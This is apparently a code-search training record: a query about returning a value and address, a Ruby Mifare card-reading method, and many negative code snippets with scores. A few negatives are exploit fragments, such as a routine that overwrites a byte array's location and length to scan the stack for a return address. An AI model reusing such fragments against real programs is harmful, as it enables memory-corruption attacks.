fbe_field_size\n\n char3.fbe_offset = fbe_current_offset\n fbe_field_size = char3.set(fbe_value.char3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n char4.fbe_offset = fbe_current_offset\n fbe_field_size = char4.set(fbe_value.char4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n char5.fbe_offset = fbe_current_offset\n fbe_field_size = char5.set(fbe_value.char5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar0.fbe_offset = fbe_current_offset\n fbe_field_size = wchar0.set(fbe_value.wchar0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar1.fbe_offset = fbe_current_offset\n fbe_field_size = wchar1.set(fbe_value.wchar1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar2.fbe_offset = fbe_current_offset\n fbe_field_size = wchar2.set(fbe_value.wchar2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar3.fbe_offset = fbe_current_offset\n fbe_field_size = wchar3.set(fbe_value.wchar3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar4.fbe_offset = fbe_current_offset\n fbe_field_size = wchar4.set(fbe_value.wchar4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n wchar5.fbe_offset = fbe_current_offset\n fbe_field_size = wchar5.set(fbe_value.wchar5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b0.fbe_offset = fbe_current_offset\n fbe_field_size = int8b0.set(fbe_value.int8b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b1.fbe_offset = fbe_current_offset\n fbe_field_size = int8b1.set(fbe_value.int8b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b2.fbe_offset = fbe_current_offset\n fbe_field_size = int8b2.set(fbe_value.int8b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b3.fbe_offset = fbe_current_offset\n fbe_field_size = int8b3.set(fbe_value.int8b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b4.fbe_offset = fbe_current_offset\n fbe_field_size = int8b4.set(fbe_value.int8b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int8b5.fbe_offset = fbe_current_offset\n fbe_field_size = int8b5.set(fbe_value.int8b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b0.set(fbe_value.uint8b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b1.set(fbe_value.uint8b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b2.set(fbe_value.uint8b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b3.set(fbe_value.uint8b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b4.set(fbe_value.uint8b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint8b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint8b5.set(fbe_value.uint8b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b0.fbe_offset = fbe_current_offset\n fbe_field_size = int16b0.set(fbe_value.int16b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b1.fbe_offset = fbe_current_offset\n fbe_field_size = int16b1.set(fbe_value.int16b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b2.fbe_offset = fbe_current_offset\n fbe_field_size = int16b2.set(fbe_value.int16b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b3.fbe_offset = fbe_current_offset\n fbe_field_size = int16b3.set(fbe_value.int16b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b4.fbe_offset = fbe_current_offset\n fbe_field_size = int16b4.set(fbe_value.int16b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int16b5.fbe_offset = fbe_current_offset\n fbe_field_size = int16b5.set(fbe_value.int16b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b0.set(fbe_value.uint16b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b1.set(fbe_value.uint16b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b2.set(fbe_value.uint16b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b3.set(fbe_value.uint16b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b4.set(fbe_value.uint16b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint16b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint16b5.set(fbe_value.uint16b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b0.fbe_offset = fbe_current_offset\n fbe_field_size = int32b0.set(fbe_value.int32b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b1.fbe_offset = fbe_current_offset\n fbe_field_size = int32b1.set(fbe_value.int32b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b2.fbe_offset = fbe_current_offset\n fbe_field_size = int32b2.set(fbe_value.int32b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b3.fbe_offset = fbe_current_offset\n fbe_field_size = int32b3.set(fbe_value.int32b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b4.fbe_offset = fbe_current_offset\n fbe_field_size = int32b4.set(fbe_value.int32b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int32b5.fbe_offset = fbe_current_offset\n fbe_field_size = int32b5.set(fbe_value.int32b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b0.set(fbe_value.uint32b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b1.set(fbe_value.uint32b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b2.set(fbe_value.uint32b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b3.set(fbe_value.uint32b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b4.set(fbe_value.uint32b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint32b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint32b5.set(fbe_value.uint32b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b0.fbe_offset = fbe_current_offset\n fbe_field_size = int64b0.set(fbe_value.int64b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b1.fbe_offset = fbe_current_offset\n fbe_field_size = int64b1.set(fbe_value.int64b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b2.fbe_offset = fbe_current_offset\n fbe_field_size = int64b2.set(fbe_value.int64b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b3.fbe_offset = fbe_current_offset\n fbe_field_size = int64b3.set(fbe_value.int64b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b4.fbe_offset = fbe_current_offset\n fbe_field_size = int64b4.set(fbe_value.int64b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n int64b5.fbe_offset = fbe_current_offset\n fbe_field_size = int64b5.set(fbe_value.int64b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b0.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b0.set(fbe_value.uint64b0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b1.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b1.set(fbe_value.uint64b1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b2.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b2.set(fbe_value.uint64b2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b3.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b3.set(fbe_value.uint64b3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b4.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b4.set(fbe_value.uint64b4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n uint64b5.fbe_offset = fbe_current_offset\n fbe_field_size = uint64b5.set(fbe_value.uint64b5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n # noinspection RubyUnnecessaryReturnValue\n fbe_current_size\n end", "def init_body(&block)\n if block_given?\n @body = to_node(yield)\n else\n @body = Null\n end\n end", "def putFragmentBlock\n yield\n newline\n end" ]
[ "0.58903146", "0.5861188", "0.5852964", "0.5846741", "0.58180743", "0.576991", "0.5737456", "0.57333434", "0.56809866", "0.56724894", "0.5670763", "0.56690943", "0.5663423", "0.56400466", "0.5631061", "0.5629042", "0.5578527", "0.55753475", "0.55682635", "0.54864794", "0.54811466", "0.5460101", "0.54563975", "0.54563975", "0.5451169", "0.54505837", "0.54371905", "0.54253465", "0.5421457", "0.53794193", "0.5335252", "0.53329605", "0.5330047", "0.5329201", "0.5329201", "0.53269315", "0.5315917", "0.53076154", "0.53003377", "0.529519", "0.5289261", "0.52780235", "0.5261532", "0.52523726", "0.5231333", "0.52173126", "0.5206885", "0.5206885", "0.5206885", "0.5206885", "0.5201416", "0.51995", "0.5174326", "0.517043", "0.51556736", "0.5151196", "0.51499856", "0.5142002", "0.51313084", "0.51176775", "0.5108164", "0.5104607", "0.5097775", "0.50894696", "0.5071115", "0.50650674", "0.5054804", "0.50524944", "0.50469583", "0.5046115", "0.50451076", "0.50291467", "0.5023649", "0.5023649", "0.50225294", "0.5015723", "0.5015723", "0.5015723", "0.5015723", "0.50128925", "0.5007055", "0.5004404", "0.5003606", "0.5003094", "0.5002103", "0.49989948", "0.4997132", "0.49954578", "0.4990832", "0.49893385", "0.4981722", "0.49753115", "0.49737814", "0.49638692", "0.49625164", "0.49608997", "0.49591765", "0.4958946", "0.49561533", "0.49505818" ]
0.5451425
24
returns only value part of value block
def value(block_num = nil) v, _ = value_with_addr(block_num) v end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def value\n @value ||= extract_value\n end", "def process_field_value(value)\r\n value\r\n end", "def raw_value; end", "def parse_value; end", "def get_value\n value\n end", "def get_value\n value\n end", "def value() end", "def raw_value\n @value\n end", "def value_read; end", "def fetch_value(value); end", "def value_raw\n @value\n end", "def value\n virtual? ? content : value_card&.value\nend", "def value\n @value ||= @block.call\n end", "def get_value\n @value\n end", "def value_with_addr(block_num = nil)\n\t\t\t\tblock_num ||= @auth_block\n \traise Mifare::Error, \"Not authenticated\" unless block_num\n\n\t\t\t\tvalue_ptr = FFI::MemoryPointer.new(:int32, 1)\n\t\t\t\taddr_ptr = FFI::MemoryPointer.new(:uchar, 1)\n\t\t\t\tres = Mifare.mifare_classic_read_value(@pointer, block_num, value_ptr, addr_ptr)\n raise Mifare::Error, \"Can't read value block 0x%02x\" % block_num if 0 != res\n\n\t\t\t\t[value_ptr.get_int32(0), addr_ptr.get_uchar(0)]\n end", "def raw_value\n if !block_given?\n return @j_del.java_method(:rawValue, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling raw_value()\"\n end", "def get_value\n @value \n end", "def value\n parsed_value\n end", "def complete_value\n if last_token_is(COMPARISON_OPERATORS)\n token = tokens[tokens.size - 2]\n val = ''\n else\n token = tokens[tokens.size - 3]\n val = tokens[tokens.size - 1]\n end\n\n field = definition.field_by_name(token)\n return [] unless field && field.complete_value\n\n return complete_set(field) if field.set?\n return complete_date_value if field.temporal?\n return complete_key_value(field, token, val) if field.key_field\n\n special_values = field.special_values.select { |v| v =~ /\\A#{val}/ }\n special_values + complete_value_from_db(field, special_values, val)\n end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def field_content\n value\n end", "def data_value()\n (single_data_value?) ? @data.value[0] : @data.value\n end", "def return_values(block_body_node); end", "def potential_values\n @original_document[value_field]\n end", "def value\r\n @value\r\n end", "def value\n self['value']\n end", "def value\n @value\n end", "def value\n @value\n end", "def value\n @value\n end", "def value\n @value\n end", "def value\n @value\n end", "def value\n @value\n end", "def value\n @value\n end", "def getVal(line)\n # value must not include space !!\n # eg. \"-parm value\" -> match value only \n\treturn line.match(/(^.+[ ]+)([^ ]+)/)[2]\nend", "def raw_value\n @raw_value ||= @@ts.take([self.object_id, nil])[1]\n end", "def value\n data[1]\n end", "def __value(v); end", "def value\n return @children['value'][:value]\n end", "def value(); self.data.value; end", "def value\n @value\n end", "def value\n @value\n end", "def value\n return @val\n end", "def get_value(element)\n element.value\n end", "def value\n @value || ''\n end", "def value\n join and @value\n end", "def value\n json[\"value\"] || json[\"$t\"]\n end", "def value\n return @value unless @value.nil?\n return nil if skip?\n set(resolve)\n @value\n end", "def value\n data.value\n end", "def value \n @value\n end", "def get_block_value\r\n if block_given?\r\n value = yield\r\n pp \"The block returned #{value}\"\r\n end\r\nend", "def value\n $stderr.puts \"WARNING, you probably don't want to read value, if you do, please use #raw_value. Called from: #{caller.first}\"\n raw_value\n end", "def pvalue(name)\n v = pvalues( name )\n if v\n v = v.first\n end\n if v\n v = nil unless v.length > 0\n end\n v\n end", "def value\n return @updater.call(*@sources.map { |var| var.value }) if @updater\n return @value if @value\n raise \"No value or updating block set\"\n end", "def node_value\n return @value\n end", "def value\n nil\n end", "def value\n nil\n end", "def value\n variable.value\n end", "def getvalue\n @text1\n end", "def value\n @attributes[:value]\n end", "def massage_value(val)\n if block = Bldr.handlers[val.class]\n return block.call(val)\n else\n val\n end\n end", "def value\n return @value\n end", "def value\n return @value\n end", "def value\n return @value\n end", "def inspect\r\n value\r\n end", "def value\n nil\n end", "def value\n nil\n end", "def value\n nil\n end", "def get\n data[\"_value\"]\n end", "def field_value(field_name, specification_hash, line)\n field_name = field_name.to_s\n content_ar = line.split('')\n value_str = ''\n if !specification_hash.keys.include? field_name \n raise InvalidAttrName, \"The specified attr name was not found in the specification hash.\"\n else\n range = specification_hash[field_name]\n range.each do |n|\n value_str.concat content_ar[n]\n end\n value_str.strip\n end\n end", "def dynamo_attribute_value(val)\n case dynamo_attribute_value_type_key\n when :n\n val # TODO Determine ranges on numbers for dynamo\n when :ns\n val if val.any?\n when :s, :b\n val unless val.empty?\n when :ss, :bs\n x = val.select {|s| !s.empty? }\n x if x.any?\n end unless val == nil\n end", "def process_value(value)\n block_given? ? yield(value) : value\n end", "def value\n raise\n end", "def each_value(&block); end", "def get_element_value(value)\n case value[:func]\n when \"getValue\"\n \"$('\\##{value[:element]}').val();\"\n else \"\"\n end\n end", "def metadata_field_value(field, value)\n return (value == 'true' ? 'open' : 'restricted') if field[:metadata_name] == 'visibility'\n return value if field[:multivalued] == :no\n return [value] if field[:multivalued] == :yes\n return value.split(';') if value.present?\n []\n end", "def get_field_value(data, field_name)\n data[field_name]['__content__'] if data[field_name]\n end", "def value!\n @value\n end", "def value_read=(_arg0); end", "def check( value )\n\t\t\treturn self.block.to_proc.call( value ) if self.block\n\t\t\treturn value\n\t\tend" ]
[ "0.6678275", "0.64614433", "0.64219344", "0.63476545", "0.6270926", "0.6270926", "0.62671334", "0.6231581", "0.62206393", "0.6179265", "0.61725265", "0.6169654", "0.61566406", "0.61286974", "0.60795116", "0.6079091", "0.6076884", "0.60742074", "0.60552114", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.6049564", "0.60097927", "0.60076386", "0.60067195", "0.59721893", "0.59506595", "0.5949074", "0.5938684", "0.5938684", "0.5938684", "0.5938684", "0.5938684", "0.5938684", "0.5938684", "0.5933711", "0.5929775", "0.5928505", "0.5908071", "0.58833283", "0.58800024", "0.58602995", "0.58602995", "0.5848502", "0.5824147", "0.58078355", "0.5795167", "0.57858604", "0.5783282", "0.5781097", "0.57793987", "0.57699627", "0.5769268", "0.57645845", "0.5754655", "0.57436556", "0.5741398", "0.5741398", "0.5728955", "0.57137287", "0.57131785", "0.5698791", "0.56935376", "0.56935376", "0.56935376", "0.5681437", "0.5673764", "0.56720924", "0.56720924", "0.5670736", "0.5669839", "0.566299", "0.5658637", "0.56579053", "0.5652983", "0.56515175", "0.56390685", "0.56324536", "0.5632102", "0.56224406", "0.5604187" ]
0.67158556
0
returns value and addr
def value_with_addr(block_num = nil) block_num ||= @auth_block raise Mifare::Error, "Not authenticated" unless block_num value_ptr = FFI::MemoryPointer.new(:int32, 1) addr_ptr = FFI::MemoryPointer.new(:uchar, 1) res = Mifare.mifare_classic_read_value(@pointer, block_num, value_ptr, addr_ptr) raise Mifare::Error, "Can't read value block 0x%02x" % block_num if 0 != res [value_ptr.get_int32(0), addr_ptr.get_uchar(0)] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def value\n data[ address ]\n end", "def value\n expand( address ).map { |ar| ar.map { |addr| data[ addr ] } }\n end", "def address\n read_attribute(:value)\n end", "def value(block_num = nil)\n \tv, _ = value_with_addr(block_num)\n \tv\n end", "def address() @address; end", "def addr(*) end", "def addr(*) end", "def address\n get_value :address\n end", "def to_ffi_value(ffi_type)\n self.addr\n end", "def value() end", "def address\n return @address\n end", "def address\n return @address\n end", "def addr; @configuration['addr']; end", "def address\n @address\n end", "def address; end", "def address; end", "def address; end", "def address; end", "def getaddress(obj)\n # check for null pointers\n if obj.nil?\n puts \"obj is mil\"\n return nil\n elsif obj.respond_to?(:address)\n return obj.address\n elsif obj.respond_to?(:to_ptr) \n return obj.to_ptr.address\n elsif isCStringPointer(obj)\n return obj.type.address\n else\n puts 'default obj id nil'\n return nil\n end\n end", "def get_key_address(ret, key)\n\ta=ret[key]\n\n\tputs \"Matching addr #{a}\"\n\n\tm=a.match(RE_RANGE)\n\tif m.nil?\n\t\tm=a.match(RE_CIDR)\n\t\tif m.nil?\n\t\t\tm=a.match(RE_ADDR)\n\t\t\tif m.nil?\n\t\t\t\tret[:unknown] = \"Unknown address format [#{a}]\"\n\t\t\telse\n\t\t\t\tret=match2addr(m, ret)\n\t\t\tend\n\t\telse\n\t\t\tret=match2cidr(m, ret)\n\t\tend\n\telse\n\t\tret=match2range(m, ret)\n\tend\n\n\tret\nend", "def get_address\n @address\n end", "def on_getaddr\n #addrs = @node.addrs.select{|a| a.time > Time.now.to_i - 10800 }.shuffle[0..250]\n #p \"<< addr (#{addrs.size})\"\n #send_data P::Addr.pkt(*addrs)\n end", "def peeraddr(*) end", "def peeraddr(*) end", "def full_address; end", "def _address_fields \n if(@addr_fields) \n return @addr_fields\n end\n \n _format_map( __dir__ + \"/manual_info/p_addr.fmt\" )\n end", "def addr_value(param)\n return \"$#{param.to_s}\"\n end", "def hiqnet_address\r\n address ||= OpenStruct.new(\r\n node: 0x1002,\r\n virtual_device: 0x03,\r\n object: 0x000147,\r\n sv: 0x0000\r\n ).tap do |o|\r\n o.define_singleton_method(:to_a) {\r\n [\r\n node >> 8 & 0xFF, node & 0xFF,\r\n virtual_device,\r\n object >> 16 & 0xFF, object >> 8 & 0xFF, object & 0xFF,\r\n sv >> 8 & 0xFF, sv & 0xFF\r\n ]\r\n }\r\n end\r\nend", "def fetch_value(value); end", "def addr\n return @addr if @addr\n @addr = P::Addr.new\n @addr.time, @addr.service, @addr.ip, @addr.port =\n Time.now.tv_sec, @version.services, @host, @port\n @addr\n end", "def addresses; end", "def address\n @address\n end", "def device_ipaddress; end", "def device_ipaddress; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def value; end", "def address_result\n params['AddressResult']\n end", "def get_address\n return @m_address\n end", "def secondary_address; end", "def user_address\n\tend", "def get_completeAddress\n\t\t@get_completeAddress\n\n\tend", "def get_street_address(results)\n results = results.last\n result = results.first\n if result\n return result[:street_address]\n else\n return nil\n end\n end", "def get_address(addr)\n Address.get(@id, addr.to_s)\n end", "def address(first_recycle_bin)\n puts first_recycle_bin[\"address\"]\nend", "def handle_getaddr\n @node.connections.sample.send_getaddr\n {:state => \"Sending getaddr...\"}\n end", "def value(); self.data.value; end", "def ipaddr; end", "def address=(val)\n old = @address\n @address = val\n [@got, @plt, @symbols].compact.each do |tbl|\n tbl.each_pair { |k, _| tbl[k] += val - old }\n end\n @one_gadgets&.map! { |off| off + val - old }\n end", "def address\n unless @regs.empty?\n addr = address_of_reg(@regs.first)\n shift = Math.log(size / bits_per_address, 2)\n (addr >> shift) << shift\n end\n end", "def address\n return poi.address unless poi.nil?\n return place.address unless place.nil?\n addr = get_address\n return addr.blank? ? raw_address : addr\n end", "def info(value); end", "def put_val(val, addr)\n idx = rand(14) # 0~13\n set_reg(idx, addr)\n scall(:set_tid_address, val)\n scall(:prctl, PR_GET_TID_ADDRESS, Reg.new(idx))\nend", "def reg_addr\n @cnt ||= -1\n buffer = 0x61a080\n @cnt += 1\n buffer + @cnt * 8\nend", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def get_value\n @value \n end", "def address(arg=nil)\n\t\t\t\tset_or_return(:address, arg, :kind_of => String)\n\t\t\tend", "def exact_address(reg_or_val, options = {})\n address = options[:addr] || options[:address]\n unless address\n # if no address provided as option then use register address\n if real_reg?(reg_or_val) # if real register\n address = reg_or_val.address # use register address\n else\n fail \"An :address option must be supplied when not providing a register to Nexus!\\n\"\n end\n end\n address\n end", "def get_address\n parsed_script.get_address\n end", "def find_return_address(s, base_addr)\n address_to_find = [base_addr + MAIN_RETURN_ADDRESS].pack(\"I\")\n\n # Store an array of doubles. This will overlap the next allocation\n store(s, VARDATA_TYPE_DOUBLE_ARRAY, [0x5e5e5e5e5e5e5e5e] * 4)\n\n # Store an array of bytes. We'll be able to change the length and locatino\n # of this buffer in order to read arbitrary memory\n store(s, VARDATA_TYPE_BYTE_ARRAY, [0x41])\n\n # Overwrite the location and size of the byte array. The location will be\n # set to STACK_MIN, and the size will be set to STACK_MAX - STACK_MIN\n edit(s, 1, 3, [STACK_MIN, (STACK_MAX - STACK_MIN)].pack(\"II\"))\n puts(\"Reading the stack (0x%08x - 0x%08x)...\" % [STACK_MIN, STACK_MAX])\n\n # We have to re-implement \"get\" here, so we can handle a large buffer and\n # so we can quit when we find what we need\n out = [MESSAGE_GET, 0].pack(\"II\")\n s.write(out)\n get_int(s) # type (don't care)\n len = get_int(s)\n result = \"\"\n\n # Loop and read till we either reach the end, of we find the value we need\n while(result.length < len)\n result = result + s.recv(STACK_MAX - STACK_MIN + 1)\n\n # As soon as we find the location, end\n if(loc = result.index(address_to_find))\n return STACK_MIN + loc\n end\n end\n\n # D'awww :(\n puts(\"Couldn't find the return address :(\")\n exit\nend", "def print_value\n\t\treturn @value\n\tend", "def ipaddr?; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def ip_address; end", "def inspect\n \"<#{self.class.name} resolved_address=#{address.resolved.inspect}>\"\n end", "def getlx ( addr )\n \"40000000\"\nend", "def addr_type; ADDR_TYPES[ self[:atype] ] ; end", "def value\n @value ||= extract_value\n end", "def __value(v); end", "def pushaddr(x)\n\treturn \"@\"+x+\"\\nD=M\\n@SP\\nA=M\\nM=D\\n@SP\\nM=M+1\\n\"\nend", "def method_and_value; end", "def origin\n coord, address = Map.locate_user(params[:address], locate_by_ip)\n #address may not be the same as params, if params.blank?\n return coord, address\n end", "def addr\n\t\t[@af, path]\n\tend", "def evalue;\t\t@hsps.first.evalue;\t\tend", "def value\n fetch(0, 0)\n end", "def lookup btc_address\n\t\t\t\t@report.each do |address|\n\t\t\t\t\tif address[0].eql?(btc_address)\n\t\t\t\t\t\tresult = {\n\t\t\t\t\t\t\t:address => address[0],\n\t\t\t\t\t\t\t:lastHourShares => address[1][\"lastHourShares\"],\n\t\t\t\t\t\t\t:immatureBalance => address[1][\"immatureBalance\"],\n\t\t\t\t\t\t\t:lastHourRejectedShares => address[1][\"lastHourRejectedShares\"],\n\t\t\t\t\t\t\t:paidOut => address[1][\"paidOut\"],\n\t\t\t\t\t\t\t:unexchangedBalance => address[1][\"unexchangedBalance\"],\n\t\t\t\t\t\t\t:megahashesPerSecond => address[1][\"megahashesPerSecond\"],\n\t\t\t\t\t\t\t:bitcoinBalance => address[1][\"bitcoinBalance\"],\n\t\t\t\t\t\t\t:rejectedMegahashesPerSecond => address[1][\"rejectedMegahashesPerSecond\"]\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn result\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\treturn nil\n\t\t\tend" ]
